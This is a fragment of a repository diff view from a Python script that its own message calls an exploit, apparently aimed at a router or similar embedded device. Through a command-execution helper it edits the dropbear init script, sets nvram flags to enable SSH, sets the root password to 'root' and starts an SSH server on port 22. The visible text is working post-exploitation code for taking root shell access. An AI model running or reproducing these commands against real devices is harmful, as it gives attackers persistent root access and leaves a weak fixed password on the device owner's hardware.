| 
						
						
							
								
							
						
						
					 | 
				
			
			 | 
			 | 
			
				@ -54,7 +54,7 @@ res = exec_cmd("sed -i 's/release/XXXXXX/g' /etc/init.d/dropbear")
 | 
			
		
		
	
		
			
				 | 
				 | 
			
			 | 
			 | 
			
				if '"code":0' not in res:
 | 
			
		
		
	
		
			
				 | 
				 | 
			
			 | 
			 | 
			
				  die('Exploit not working!!!')
 | 
			
		
		
	
		
			
				 | 
				 | 
			
			 | 
			 | 
			
				#res = exec_cmd("sed -i 's/`nvram get ssh_en`/1/g' /etc/init.d/dropbear")
 | 
			
		
		
	
		
			
				 | 
				 | 
			
			 | 
			 | 
			
				res = exec_cmd("nvram set ssh_en=1; nvram commit")
 | 
			
		
		
	
		
			
				 | 
				 | 
			
			 | 
			 | 
			
				res = exec_cmd("nvram set ssh_en=1; nvram set boot_wait=on; nvram set bootdelay=3; nvram commit")
 | 
			
		
		
	
		
			
				 | 
				 | 
			
			 | 
			 | 
			
				res = exec_cmd("(echo root; sleep 1; echo root) | passwd root")
 | 
			
		
		
	
		
			
				 | 
				 | 
			
			 | 
			 | 
			
				res = exec_cmd("/etc/init.d/dropbear enable")
 | 
			
		
		
	
		
			
				 | 
				 | 
			
			 | 
			 | 
			
				print('Run SSH server on port 22 ...')
 | 
			
		
		
	
	
		
			
				
					| 
						
							
								
							
						
						
						
					 | 
				
			
			 | 
			 | 
			
				
 
 |